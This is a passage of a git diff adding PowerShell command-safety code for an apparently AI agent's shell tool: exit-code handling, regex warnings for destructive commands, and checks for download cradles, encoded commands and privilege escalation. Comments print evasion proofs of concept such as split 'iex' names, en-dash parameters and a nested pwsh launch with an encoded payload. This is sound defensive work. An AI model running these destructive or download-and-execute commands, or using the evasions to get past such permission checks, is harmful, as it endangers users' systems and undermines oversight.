+    .replace(/\[\]$/, '')
+    .replace(/\[.*\]$/, '')
+    .trim()
+}
+
+/**
+ * True if typeName (from AST) is in Microsoft's CLM allowlist.
+ * Types NOT in this set trigger ask — they access system APIs CLM blocks.
+ */
+export function isClmAllowedType(typeName: string): boolean {
+  return CLM_ALLOWED_TYPES.has(normalizeTypeName(typeName))
+}
diff --git a/_all-in-one-upload/cc-haha/src/tools/PowerShellTool/commandSemantics.ts b/_all-in-one-upload/cc-haha/src/tools/PowerShellTool/commandSemantics.ts
new file mode 100644
index 0000000..2fd66fc
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/tools/PowerShellTool/commandSemantics.ts
@@ -0,0 +1,142 @@
+/**
+ * Command semantics configuration for interpreting exit codes in PowerShell.
+ *
+ * PowerShell-native cmdlets do NOT need exit-code semantics:
+ *   - Select-String (grep equivalent) exits 0 on no-match (returns $null)
+ *   - Compare-Object (diff equivalent) exits 0 regardless
+ *   - Test-Path exits 0 regardless (returns bool via pipeline)
+ * Native cmdlets signal failure via terminating errors ($?), not exit codes.
+ *
+ * However, EXTERNAL executables invoked from PowerShell DO set $LASTEXITCODE,
+ * and many use non-zero codes to convey information rather than failure:
+ *   - grep.exe / rg.exe (Git for Windows, scoop, etc.): 1 = no match
+ *   - findstr.exe (Windows native): 1 = no match
+ *   - robocopy.exe (Windows native): 0-7 = success, 8+ = error (notorious!)
+ *
+ * Without this module, PowerShellTool throws ShellError on any non-zero exit,
+ * so `robocopy` reporting "files copied successfully" (exit 1) shows as an error.
+ */
+
+export type CommandSemantic = (
+  exitCode: number,
+  stdout: string,
+  stderr: string,
+) => {
+  isError: boolean
+  message?: string
+}
+
+/**
+ * Default semantic: treat only 0 as success, everything else as error
+ */
+const DEFAULT_SEMANTIC: CommandSemantic = (exitCode, _stdout, _stderr) => ({
+  isError: exitCode !== 0,
+  message:
+    exitCode !== 0 ? `Command failed with exit code ${exitCode}` : undefined,
+})
+
+/**
+ * grep / ripgrep: 0 = matches found, 1 = no matches, 2+ = error
+ */
+const GREP_SEMANTIC: CommandSemantic = (exitCode, _stdout, _stderr) => ({
+  isError: exitCode >= 2,
+  message: exitCode === 1 ? 'No matches found' : undefined,
+})
+
+/**
+ * Command-specific semantics for external executables.
+ * Keys are lowercase command names WITHOUT .exe suffix.
+ *
+ * Deliberately omitted:
+ *   - 'diff': Ambiguous. Windows PowerShell 5.1 aliases `diff` → Compare-Object
+ *     (exit 0 on differ), but PS Core / Git for Windows may resolve to diff.exe
+ *     (exit 1 on differ). Cannot reliably interpret.
+ *   - 'fc': Ambiguous. PowerShell aliases `fc` → Format-Custom (a native cmdlet),
+ *     but `fc.exe` is the Windows file compare utility (exit 1 = files differ).
+ *     Same aliasing problem as `diff`.
+ *   - 'find': Ambiguous. Windows find.exe (text search) vs Unix find.exe
+ *     (file search via Git for Windows) have different semantics.
+ *   - 'test', '[': Not PowerShell constructs.
+ *   - 'select-string', 'compare-object', 'test-path': Native cmdlets exit 0.
+ */
+const COMMAND_SEMANTICS: Map<string, CommandSemantic> = new Map([
+  // External grep/ripgrep (Git for Windows, scoop, choco)
+  ['grep', GREP_SEMANTIC],
+  ['rg', GREP_SEMANTIC],
+
+  // findstr.exe: Windows native text search
+  // 0 = match found, 1 = no match, 2 = error
+  ['findstr', GREP_SEMANTIC],
+
+  // robocopy.exe: Windows native robust file copy
+  // Exit codes are a BITFIELD — 0-7 are success, 8+ indicates at least one failure:
+  //   0 = no files copied, no mismatch, no failures (already in sync)
+  //   1 = files copied successfully
+  //   2 = extra files/dirs detected (no copy)
+  //   4 = mismatched files/dirs detected
+  //   8 = some files/dirs could not be copied (copy errors)
+  //  16 = serious error (robocopy did not copy any files)
+  // This is the single most common "CI failed but nothing's wrong" Windows gotcha.
+  [
+    'robocopy',
+    (exitCode, _stdout, _stderr) => ({
+      isError: exitCode >= 8,
+      message:
+        exitCode === 0
+          ? 'No files copied (already in sync)'
+          : exitCode >= 1 && exitCode < 8
+            ? exitCode & 1
+              ? 'Files copied successfully'
+              : 'Robocopy completed (no errors)'
+            : undefined,
+    }),
+  ],
+])
+
+/**
+ * Extract the command name from a single pipeline segment.
+ * Strips leading `&` / `.` call operators and `.exe` suffix, lowercases.
+ */
+function extractBaseCommand(segment: string): string {
+  // Strip PowerShell call operators: & "cmd", . "cmd"
+  // (& and . at segment start followed by whitespace invoke the next token)
+  const stripped = segment.trim().replace(/^[&.]\s+/, '')
+  const firstToken = stripped.split(/\s+/)[0] || ''
+  // Strip surrounding quotes if command was invoked as & "grep.exe"
+  const unquoted = firstToken.replace(/^["']|["']$/g, '')
+  // Strip path: C:\bin\grep.exe → grep.exe, .\rg.exe → rg.exe
+  const basename = unquoted.split(/[\\/]/).pop() || unquoted
+  // Strip .exe suffix (Windows is case-insensitive)
+  return basename.toLowerCase().replace(/\.exe$/, '')
+}
+
+/**
+ * Extract the primary command from a PowerShell command line.
+ * Takes the LAST pipeline segment since that determines the exit code.
+ *
+ * Heuristic split on `;` and `|` — may get it wrong for quoted strings or
+ * complex constructs. Do NOT depend on this for security; it's only used
+ * for exit-code interpretation (false negatives just fall back to default).
+ */
+function heuristicallyExtractBaseCommand(command: string): string {
+  const segments = command.split(/[;|]/).filter(s => s.trim())
+  const last = segments[segments.length - 1] || command
+  return extractBaseCommand(last)
+}
+
+/**
+ * Interpret command result based on semantic rules
+ */
+export function interpretCommandResult(
+  command: string,
+  exitCode: number,
+  stdout: string,
+  stderr: string,
+): {
+  isError: boolean
+  message?: string
+} {
+  const baseCommand = heuristicallyExtractBaseCommand(command)
+  const semantic = COMMAND_SEMANTICS.get(baseCommand) ?? DEFAULT_SEMANTIC
+  return semantic(exitCode, stdout, stderr)
+}
diff --git a/_all-in-one-upload/cc-haha/src/tools/PowerShellTool/destructiveCommandWarning.ts b/_all-in-one-upload/cc-haha/src/tools/PowerShellTool/destructiveCommandWarning.ts
new file mode 100644
index 0000000..14f436d
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/tools/PowerShellTool/destructiveCommandWarning.ts
@@ -0,0 +1,109 @@
+/**
+ * Detects potentially destructive PowerShell commands and returns a warning
+ * string for display in the permission dialog. This is purely informational
+ * -- it doesn't affect permission logic or auto-approval.
+ */
+
+type DestructivePattern = {
+  pattern: RegExp
+  warning: string
+}
+
+const DESTRUCTIVE_PATTERNS: DestructivePattern[] = [
+  // Remove-Item with -Recurse and/or -Force (and common aliases)
+  // Anchored to statement start (^, |, ;, &, newline, {, () so `git rm --force`
+  // doesn't match — \b would match `rm` after any word boundary. The `{(`
+  // chars catch scriptblock/group bodies: `{ rm -Force ./x }`. The stopper
+  // adds only `}` (NOT `)`) — `}` ends a block so flags after it belong to a
+  // different statement (`if {rm} else {... -Force}`), but `)` closes a path
+  // grouping and flags after it are still this command's flags:
+  // `Remove-Item (Join-Path $r "tmp") -Recurse -Force` must still warn.
+  {
+    pattern:
+      /(?:^|[|;&\n({])\s*(Remove-Item|rm|del|rd|rmdir|ri)\b[^|;&\n}]*-Recurse\b[^|;&\n}]*-Force\b/i,
+    warning: 'Note: may recursively force-remove files',
+  },
+  {
+    pattern:
+      /(?:^|[|;&\n({])\s*(Remove-Item|rm|del|rd|rmdir|ri)\b[^|;&\n}]*-Force\b[^|;&\n}]*-Recurse\b/i,
+    warning: 'Note: may recursively force-remove files',
+  },
+  {
+    pattern:
+      /(?:^|[|;&\n({])\s*(Remove-Item|rm|del|rd|rmdir|ri)\b[^|;&\n}]*-Recurse\b/i,
+    warning: 'Note: may recursively remove files',
+  },
+  {
+    pattern:
+      /(?:^|[|;&\n({])\s*(Remove-Item|rm|del|rd|rmdir|ri)\b[^|;&\n}]*-Force\b/i,
+    warning: 'Note: may force-remove files',
+  },
+
+  // Clear-Content on broad paths
+  {
+    pattern: /\bClear-Content\b[^|;&\n]*\*/i,
+    warning: 'Note: may clear content of multiple files',
+  },
+
+  // Format-Volume and Clear-Disk
+  {
+    pattern: /\bFormat-Volume\b/i,
+    warning: 'Note: may format a disk volume',
+  },
+  {
+    pattern: /\bClear-Disk\b/i,
+    warning: 'Note: may clear a disk',
+  },
+
+  // Git destructive operations (same as BashTool)
+  {
+    pattern: /\bgit\s+reset\s+--hard\b/i,
+    warning: 'Note: may discard uncommitted changes',
+  },
+  {
+    pattern: /\bgit\s+push\b[^|;&\n]*\s+(--force|--force-with-lease|-f)\b/i,
+    warning: 'Note: may overwrite remote history',
+  },
+  {
+    pattern:
+      /\bgit\s+clean\b(?![^|;&\n]*(?:-[a-zA-Z]*n|--dry-run))[^|;&\n]*-[a-zA-Z]*f/i,
+    warning: 'Note: may permanently delete untracked files',
+  },
+  {
+    pattern: /\bgit\s+stash\s+(drop|clear)\b/i,
+    warning: 'Note: may permanently remove stashed changes',
+  },
+
+  // Database operations
+  {
+    pattern: /\b(DROP|TRUNCATE)\s+(TABLE|DATABASE|SCHEMA)\b/i,
+    warning: 'Note: may drop or truncate database objects',
+  },
+
+  // System operations
+  {
+    pattern: /\bStop-Computer\b/i,
+    warning: 'Note: will shut down the computer',
+  },
+  {
+    pattern: /\bRestart-Computer\b/i,
+    warning: 'Note: will restart the computer',
+  },
+  {
+    pattern: /\bClear-RecycleBin\b/i,
+    warning: 'Note: permanently deletes recycled files',
+  },
+]
+
+/**
+ * Checks if a PowerShell command matches known destructive patterns.
+ * Returns a human-readable warning string, or null if no destructive pattern is detected.
+ */
+export function getDestructiveCommandWarning(command: string): string | null {
+  for (const { pattern, warning } of DESTRUCTIVE_PATTERNS) {
+    if (pattern.test(command)) {
+      return warning
+    }
+  }
+  return null
+}
diff --git a/_all-in-one-upload/cc-haha/src/tools/PowerShellTool/powershellSecurity.ts b/_all-in-one-upload/cc-haha/src/tools/PowerShellTool/powershellSecurity.ts
new file mode 100644
index 0000000..8439f86
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/tools/PowerShellTool/powershellSecurity.ts
@@ -0,0 +1,1090 @@
+/**
+ * PowerShell-specific security analysis for command validation.
+ *
+ * Detects dangerous patterns: code injection, download cradles, privilege
+ * escalation, dynamic command names, COM objects, etc.
+ *
+ * All checks are AST-based. If parsing failed (valid=false), none of the
+ * individual checks match and powershellCommandIsSafe returns 'ask'.
+ */
+
+import {
+  DANGEROUS_SCRIPT_BLOCK_CMDLETS,
+  FILEPATH_EXECUTION_CMDLETS,
+  MODULE_LOADING_CMDLETS,
+} from '../../utils/powershell/dangerousCmdlets.js'
+import type {
+  ParsedCommandElement,
+  ParsedPowerShellCommand,
+} from '../../utils/powershell/parser.js'
+import {
+  COMMON_ALIASES,
+  commandHasArgAbbreviation,
+  deriveSecurityFlags,
+  getAllCommands,
+  getVariablesByScope,
+  hasCommandNamed,
+} from '../../utils/powershell/parser.js'
+import { isClmAllowedType } from './clmTypes.js'
+
+type PowerShellSecurityResult = {
+  behavior: 'passthrough' | 'ask' | 'allow'
+  message?: string
+}
+
+const POWERSHELL_EXECUTABLES = new Set([
+  'pwsh',
+  'pwsh.exe',
+  'powershell',
+  'powershell.exe',
+])
+
+/**
+ * Extracts the base executable name from a command, handling full paths
+ * like /usr/bin/pwsh, C:\Windows\...\powershell.exe, or .\pwsh.
+ */
+function isPowerShellExecutable(name: string): boolean {
+  const lower = name.toLowerCase()
+  if (POWERSHELL_EXECUTABLES.has(lower)) {
+    return true
+  }
+  // Extract basename from paths (both / and \ separators)
+  const lastSep = Math.max(lower.lastIndexOf('/'), lower.lastIndexOf('\\'))
+  if (lastSep >= 0) {
+    return POWERSHELL_EXECUTABLES.has(lower.slice(lastSep + 1))
+  }
+  return false
+}
+
+/**
+ * Alternative parameter-prefix characters that PowerShell accepts as equivalent
+ * to ASCII hyphen-minus (U+002D). PowerShell's tokenizer (SpecialCharacters.IsDash)
+ * and powershell.exe's CommandLineParameterParser both accept all four dash
+ * characters plus Windows PowerShell 5.1's `/` parameter delimiter.
+ * Extent.Text preserves the raw character; transformCommandAst uses ce.text for
+ * CommandParameterAst elements, so these reach us unchanged.
+ */
+const PS_ALT_PARAM_PREFIXES = new Set([
+  '/', // Windows PowerShell 5.1 (powershell.exe, not pwsh 7+)
+  '\u2013', // en-dash
+  '\u2014', // em-dash
+  '\u2015', // horizontal bar
+])
+
+/**
+ * Wrapper around commandHasArgAbbreviation that also matches alternative
+ * parameter prefixes (`/`, en-dash, em-dash, horizontal-bar). PowerShell's
+ * tokenizer (SpecialCharacters.IsDash) accepts these for both powershell.exe
+ * args AND cmdlet parameters, so use this for ALL PS param checks — not just
+ * pwsh.exe invocations. Previously checkComObject/checkStartProcess/
+ * checkDangerousFilePathExecution/checkForEachMemberName used bare
+ * commandHasArgAbbreviation, so `Start-Process foo –Verb RunAs` bypassed.
+ */
+function psExeHasParamAbbreviation(
+  cmd: ParsedCommandElement,
+  fullParam: string,
+  minPrefix: string,
+): boolean {
+  if (commandHasArgAbbreviation(cmd, fullParam, minPrefix)) {
+    return true
+  }
+  // Normalize alternative prefixes to `-` and re-check. Build a synthetic cmd
+  // with normalized args; commandHasArgAbbreviation handles colon-value split.
+  const normalized: ParsedCommandElement = {
+    ...cmd,
+    args: cmd.args.map(a =>
+      a.length > 0 && PS_ALT_PARAM_PREFIXES.has(a[0]!) ? '-' + a.slice(1) : a,
+    ),
+  }
+  return commandHasArgAbbreviation(normalized, fullParam, minPrefix)
+}
+
+/**
+ * Checks if a PowerShell command uses Invoke-Expression or its alias (iex).
+ * These are equivalent to eval and can execute arbitrary code.
+ */
+function checkInvokeExpression(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  if (hasCommandNamed(parsed, 'Invoke-Expression')) {
+    return {
+      behavior: 'ask',
+      message:
+        'Command uses Invoke-Expression which can execute arbitrary code',
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * Checks for dynamic command invocation where the command name itself is an
+ * expression that cannot be statically resolved.
+ *
+ * PoCs:
+ *   & ${function:Invoke-Expression} 'payload'  — VariableExpressionAst
+ *   & ('iex','x')[0] 'payload'                 — IndexExpressionAst → 'Other'
+ *   & ('i'+'ex') 'payload'                     — BinaryExpressionAst → 'Other'
+ *
+ * In all cases cmd.name is the literal extent text (e.g. "('iex','x')[0]"),
+ * which doesn't match hasCommandNamed('Invoke-Expression'). At runtime
+ * PowerShell evaluates the expression to a command name and invokes it.
+ *
+ * Legitimate command names are ALWAYS StringConstantExpressionAst (mapped to
+ * 'StringConstant'): `Get-Process`, `git`, `ls`. Any other element type in
+ * name position is dynamic. Rather than denylisting dynamic types (fragile —
+ * mapElementType's default case maps unknown AST types to 'Other', which a
+ * `=== 'Variable'` check misses), we allowlist 'StringConstant'.
+ *
+ * elementTypes[0] is the command-name element (transformCommandAst pushes it
+ * first, before arg elements). The `!== undefined` guard preserves fail-open
+ * when elementTypes is absent (parse-detail unavailable — if parsing failed
+ * entirely, valid=false already returns 'ask' earlier in the chain).
+ */
+function checkDynamicCommandName(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  for (const cmd of getAllCommands(parsed)) {
+    if (cmd.elementType !== 'CommandAst') {
+      continue
+    }
+    const nameElementType = cmd.elementTypes?.[0]
+    if (nameElementType !== undefined && nameElementType !== 'StringConstant') {
+      return {
+        behavior: 'ask',
+        message:
+          'Command name is a dynamic expression which cannot be statically validated',
+      }
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * Checks for encoded command parameters which obscure intent.
+ * These are commonly used in malware to bypass security tools.
+ */
+function checkEncodedCommand(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  for (const cmd of getAllCommands(parsed)) {
+    if (isPowerShellExecutable(cmd.name)) {
+      if (psExeHasParamAbbreviation(cmd, '-encodedcommand', '-e')) {
+        return {
+          behavior: 'ask',
+          message: 'Command uses encoded parameters which obscure intent',
+        }
+      }
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * Checks for PowerShell re-invocation (nested pwsh/powershell process).
+ *
+ * Any PowerShell executable in command position is flagged — not just
+ * -Command/-File. Bare `pwsh` receiving stdin (`Get-Content x | pwsh`) or
+ * a positional script path executes arbitrary code with none of the explicit
+ * flags present. Same unvalidatable-nested-process reasoning as
+ * checkStartProcess vector 2: we cannot statically analyze what the child
+ * process will run.
+ */
+function checkPwshCommandOrFile(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  for (const cmd of getAllCommands(parsed)) {
+    if (isPowerShellExecutable(cmd.name)) {
+      return {
+        behavior: 'ask',
+        message:
+          'Command spawns a nested PowerShell process which cannot be validated',
+      }
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * Checks for download cradle patterns - common malware techniques
+ * that download and execute remote code.
+ *
+ * Per-statement: catches piped cradles (`IWR ... | IEX`).
+ * Cross-statement: catches split cradles (`$r = IWR ...; IEX $r.Content`).
+ * The cross-statement case is already blocked by checkInvokeExpression (which
+ * scans all statements), but this check improves the warning message.
+ */
+const DOWNLOADER_NAMES = new Set([
+  'invoke-webrequest',
+  'iwr',
+  'invoke-restmethod',
+  'irm',
+  'new-object',
+  'start-bitstransfer', // MITRE T1197
+])
+
+function isDownloader(name: string): boolean {
+  return DOWNLOADER_NAMES.has(name.toLowerCase())
+}
+
+function isIex(name: string): boolean {
+  const lower = name.toLowerCase()
+  return lower === 'invoke-expression' || lower === 'iex'
+}
+
+function checkDownloadCradles(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  // Per-statement: piped cradle (IWR ... | IEX)
+  for (const statement of parsed.statements) {
+    const cmds = statement.commands
+    if (cmds.length < 2) {
+      continue
+    }
+    const hasDownloader = cmds.some(cmd => isDownloader(cmd.name))
+    const hasIex = cmds.some(cmd => isIex(cmd.name))
+    if (hasDownloader && hasIex) {
+      return {
+        behavior: 'ask',
+        message: 'Command downloads and executes remote code',
+      }
+    }
+  }
+
+  // Cross-statement: split cradle ($r = IWR ...; IEX $r.Content).
+  // No new false positives: if IEX is present, checkInvokeExpression already asks.
+  const all = getAllCommands(parsed)
+  if (all.some(c => isDownloader(c.name)) && all.some(c => isIex(c.name))) {
+    return {
+      behavior: 'ask',
+      message: 'Command downloads and executes remote code',
+    }
+  }
+
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * Checks for standalone download utilities — LOLBAS tools commonly used to
+ * fetch payloads. Unlike checkDownloadCradles (which requires download + IEX
+ * in-pipeline), this flags the download operation itself.
+ *
+ * Start-BitsTransfer: always a file transfer (MITRE T1197).
+ * certutil -urlcache: classic LOLBAS download. Only flagged with -urlcache;
+ * bare `certutil` has many legitimate cert-management uses.
+ * bitsadmin /transfer: legacy BITS download (pre-PowerShell).
+ */
+function checkDownloadUtilities(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  for (const cmd of getAllCommands(parsed)) {
+    const lower = cmd.name.toLowerCase()
+    // Start-BitsTransfer is purpose-built for file transfer — no safe variant.
+    if (lower === 'start-bitstransfer') {
+      return {
+        behavior: 'ask',
+        message: 'Command downloads files via BITS transfer',
+      }
+    }
+    // certutil / certutil.exe — only when -urlcache is present. certutil has
+    // many non-download uses (cert store queries, encoding, etc.).
+    // certutil.exe accepts both -urlcache and /urlcache per standard Windows
+    // utility convention — check both forms (bitsadmin below does the same).
+    if (lower === 'certutil' || lower === 'certutil.exe') {
+      const hasUrlcache = cmd.args.some(a => {
+        const la = a.toLowerCase()
+        return la === '-urlcache' || la === '/urlcache'
+      })
+      if (hasUrlcache) {
+        return {
+          behavior: 'ask',
+          message: 'Command uses certutil to download from a URL',
+        }
+      }
+    }
+    // bitsadmin /transfer — legacy BITS CLI, same threat as Start-BitsTransfer.
+    if (lower === 'bitsadmin' || lower === 'bitsadmin.exe') {
+      if (cmd.args.some(a => a.toLowerCase() === '/transfer')) {
+        return {
+          behavior: 'ask',
+          message: 'Command downloads files via BITS transfer',
+        }
+      }
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * Checks for Add-Type usage which compiles and loads .NET code at runtime.
+ * This can be used to execute arbitrary compiled code.
+ */
+function checkAddType(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  if (hasCommandNamed(parsed, 'Add-Type')) {
+    return {
+      behavior: 'ask',
+      message: 'Command compiles and loads .NET code',
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * Checks for New-Object -ComObject. COM objects like WScript.Shell,
+ * Shell.Application, MMC20.Application, Schedule.Service, Msxml2.XMLHTTP
+ * have their own execution/download capabilities — no IEX required.
+ *
+ * We can't enumerate all dangerous ProgIDs, so flag any -ComObject. Object
+ * creation alone is inert, but the prompt should warn the user that COM
+ * instantiation is an execution primitive. Method invocation on the result
+ * (.Run(), .Exec()) is separately caught by checkMemberInvocations.
+ */
+function checkComObject(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  for (const cmd of getAllCommands(parsed)) {
+    if (cmd.name.toLowerCase() !== 'new-object') {
+      continue
+    }
+    // -ComObject min abbrev is -com (New-Object params: -TypeName, -ComObject,
+    // -ArgumentList, -Property, -Strict; -co is ambiguous in PS5.1 due to
+    // common params like -Confirm, so use -com).
+    if (psExeHasParamAbbreviation(cmd, '-comobject', '-com')) {
+      return {
+        behavior: 'ask',
+        message:
+          'Command instantiates a COM object which may have execution capabilities',
+      }
+    }
+    // SECURITY: checkTypeLiterals only sees [bracket] syntax from
+    // parsed.typeLiterals. `New-Object System.Net.WebClient` passes the type
+    // as a STRING ARG (StringConstantExpressionAst), not a TypeExpressionAst,
+    // so CLM never fires. Extract -TypeName (named, colon-bound, or
+    // positional-0) and run through isClmAllowedType. Closes attackVectors D4.
+    let typeName: string | undefined
+    for (let i = 0; i < cmd.args.length; i++) {
+      const a = cmd.args[i]!
+      const lower = a.toLowerCase()
+      // -TypeName abbrev: -t is unambiguous (no other New-Object -t* params).
+      // Handle colon-bound form first: -TypeName:Foo.Bar
+      if (lower.startsWith('-t') && lower.includes(':')) {
+        const colonIdx = a.indexOf(':')
+        const paramPart = lower.slice(0, colonIdx)
+        if ('-typename'.startsWith(paramPart)) {
+          typeName = a.slice(colonIdx + 1)
+          break
+        }
+      }
+      // Space-separated form: -TypeName Foo.Bar
+      if (
+        lower.startsWith('-t') &&
+        '-typename'.startsWith(lower) &&
+        cmd.args[i + 1] !== undefined
+      ) {
+        typeName = cmd.args[i + 1]
+        break
+      }
+    }
+    // Positional-0 binds to -TypeName (NetParameterSet default). Named params
+    // (-Strict, -ArgumentList, -Property, -ComObject) may appear before the
+    // positional TypeName, so scan past them to find the first non-consumed arg.
+    if (typeName === undefined) {
+      // New-Object named params that consume a following value argument
+      const VALUE_PARAMS = new Set(['-argumentlist', '-comobject', '-property'])
+      // Switch params (no value argument)
+      const SWITCH_PARAMS = new Set(['-strict'])
+      for (let i = 0; i < cmd.args.length; i++) {
+        const a = cmd.args[i]!
+        if (a.startsWith('-')) {
+          const lower = a.toLowerCase()
+          // Skip -TypeName variants (already handled by named-param loop above)
+          if (lower.startsWith('-t') && '-typename'.startsWith(lower)) {
+            i++ // skip value
+            continue
+          }
+          // Colon-bound form: -Param:Value (single token, no skip needed)
+          if (lower.includes(':')) continue
+          if (SWITCH_PARAMS.has(lower)) continue
+          if (VALUE_PARAMS.has(lower)) {
+            i++ // skip value
+            continue
+          }
+          // Unknown param — skip conservatively
+          continue
+        }
+        // First non-dash arg is the positional TypeName
+        typeName = a
+        break
+      }
+    }
+    if (typeName !== undefined && !isClmAllowedType(typeName)) {
+      return {
+        behavior: 'ask',
+        message: `New-Object instantiates .NET type '${typeName}' outside the ConstrainedLanguage allowlist`,
+      }
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * Checks for DANGEROUS_SCRIPT_BLOCK_CMDLETS invoked with -FilePath (or
+ * -LiteralPath). These run a script file — arbitrary code execution with no
+ * ScriptBlockAst in the tree.
+ *
+ * checkScriptBlockInjection only fires when hasScriptBlocks is true. With
+ * -FilePath there is no ScriptBlockAst, so DANGEROUS_SCRIPT_BLOCK_CMDLETS is
+ * never consulted. This check closes that gap for the -FilePath vector.
+ *
+ * Cmdlets in DANGEROUS_SCRIPT_BLOCK_CMDLETS that accept -FilePath:
+ *   Invoke-Command   -FilePath             (icm alias via COMMON_ALIASES)
+ *   Start-Job        -FilePath, -LiteralPath
+ *   Start-ThreadJob  -FilePath
+ *   Register-ScheduledJob -FilePath
+ * The *-PSSession and Register-*Event entries do not accept -FilePath.
+ *
+ * -f is unambiguous for -FilePath on all four (no other -f* params).
+ * -l is unambiguous for -LiteralPath on Start-Job; harmless no-op on the
+ * others (no -l* params to collide with).
+ */
+
+function checkDangerousFilePathExecution(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  for (const cmd of getAllCommands(parsed)) {
+    const lower = cmd.name.toLowerCase()
+    const resolved = COMMON_ALIASES[lower]?.toLowerCase() ?? lower
+    if (!FILEPATH_EXECUTION_CMDLETS.has(resolved)) {
+      continue
+    }
+    if (
+      psExeHasParamAbbreviation(cmd, '-filepath', '-f') ||
+      psExeHasParamAbbreviation(cmd, '-literalpath', '-l')
+    ) {
+      return {
+        behavior: 'ask',
+        message: `${cmd.name} -FilePath executes an arbitrary script file`,
+      }
+    }
+    // Positional binding: `Start-Job script.ps1` binds position-0 to
+    // -FilePath via FilePathParameterSet resolution (ScriptBlock args select
+    // ScriptBlockParameterSet instead). Same pattern as checkForEachMemberName:
+    // any non-dash StringConstant is a potential -FilePath. Over-flagging
+    // (e.g., `Start-Job -Name foo` where `foo` is StringConstant) is fail-safe.
+    for (let i = 0; i < cmd.args.length; i++) {
+      const argType = cmd.elementTypes?.[i + 1]
+      const arg = cmd.args[i]
+      if (argType === 'StringConstant' && arg && !arg.startsWith('-')) {
+        return {
+          behavior: 'ask',
+          message: `${cmd.name} with positional string argument binds to -FilePath and executes a script file`,
+        }
+      }
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * Checks for ForEach-Object -MemberName. Invokes a method by string name on
+ * every piped object — semantically equivalent to `| % { $_.Method() }` but
+ * without any ScriptBlockAst or InvokeMemberExpressionAst in the tree.
+ *
+ * PoC: `Get-Process | ForEach-Object -MemberName Kill` → kills all processes.
+ * checkScriptBlockInjection misses it (no script block); checkMemberInvocations
+ * misses it (no .Method() syntax). Aliases `%` and `foreach` resolve via
+ * COMMON_ALIASES.
+ */
+function checkForEachMemberName(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  for (const cmd of getAllCommands(parsed)) {
+    const lower = cmd.name.toLowerCase()
+    const resolved = COMMON_ALIASES[lower]?.toLowerCase() ?? lower
+    if (resolved !== 'foreach-object') {
+      continue
+    }
+    // ForEach-Object params starting with -m: only -MemberName. -m is unambiguous.
+    if (psExeHasParamAbbreviation(cmd, '-membername', '-m')) {
+      return {
+        behavior: 'ask',
+        message:
+          'ForEach-Object -MemberName invokes methods by string name which cannot be validated',
+      }
+    }
+    // PS7+: `ForEach-Object Kill` binds a positional string arg to
+    // -MemberName via MemberSet parameter-set resolution (ScriptBlock args
+    // select ScriptBlockSet instead). Scan ALL args — `-Verbose Kill` or
+    // `-ErrorAction Stop Kill` still binds Kill positionally. Any non-dash
+    // StringConstant is a potential -MemberName; over-flagging is fail-safe.
+    for (let i = 0; i < cmd.args.length; i++) {
+      const argType = cmd.elementTypes?.[i + 1]
+      const arg = cmd.args[i]
+      if (argType === 'StringConstant' && arg && !arg.startsWith('-')) {
+        return {
+          behavior: 'ask',
+          message:
+            'ForEach-Object with positional string argument binds to -MemberName and invokes methods by name',
+        }
+      }
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * Checks for dangerous Start-Process patterns.
+ *
+ * Two vectors:
+ * 1. `-Verb RunAs` — privilege escalation (UAC prompt).
+ * 2. Launching a PowerShell executable — nested invocation.
+ * `Start-Process pwsh -ArgumentList "-e <b64>"` evades
+ * checkEncodedCommand/checkPwshCommandOrFile because cmd.name is
+ * `Start-Process`, not `pwsh`. The `-e` lives inside the -ArgumentList
+ * string value and is never parsed as a param on the outer command.
+ * Rather than parse -ArgumentList contents (fragile — it's an opaque
+ * string or array), flag any Start-Process whose target is a PS
+ * executable: the nested invocation is unvalidatable by construction.
+ */
+function checkStartProcess(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  for (const cmd of getAllCommands(parsed)) {
+    const lower = cmd.name.toLowerCase()
+    if (lower !== 'start-process' && lower !== 'saps' && lower !== 'start') {
+      continue
+    }
+    // Vector 1: -Verb RunAs (space or colon syntax).
+    // Space syntax: psExeHasParamAbbreviation finds -Verb/-v, then scan args
+    // for a bare 'runas' token.
+    if (
+      psExeHasParamAbbreviation(cmd, '-Verb', '-v') &&
+      cmd.args.some(a => a.toLowerCase() === 'runas')
+    ) {
+      return {
+        behavior: 'ask',
+        message: 'Command requests elevated privileges',
+      }
+    }
+    // Colon syntax — two layers:
+    // (a) Structural: PR #23554 added children[] for colon-bound param args.
+    //     children[i] = [{type, text}] for the bound value. Check if any
+    //     -v*-prefixed param has a child whose text normalizes (strip
+    //     quotes/backtick/whitespace) to 'runas'. Robust against arbitrary
+    //     quoting the regex can't anticipate.
+    // (b) Regex fallback: for parsed output without children[] or as
+    //     defense-in-depth. -Verb:'RunAs', -Verb:"RunAs", -Verb:`runas all
+    //     bypassed the old /...:runas$/ pattern because the quote/tick broke
+    //     the match.
+    if (cmd.children) {
+      for (let i = 0; i < cmd.args.length; i++) {
+        // Strip backticks before matching param name (bug #14): -V`erb:RunAs
+        const argClean = cmd.args[i]!.replace(/`/g, '')
+        if (!/^[-\u2013\u2014\u2015/]v[a-z]*:/i.test(argClean)) continue
+        const kids = cmd.children[i]
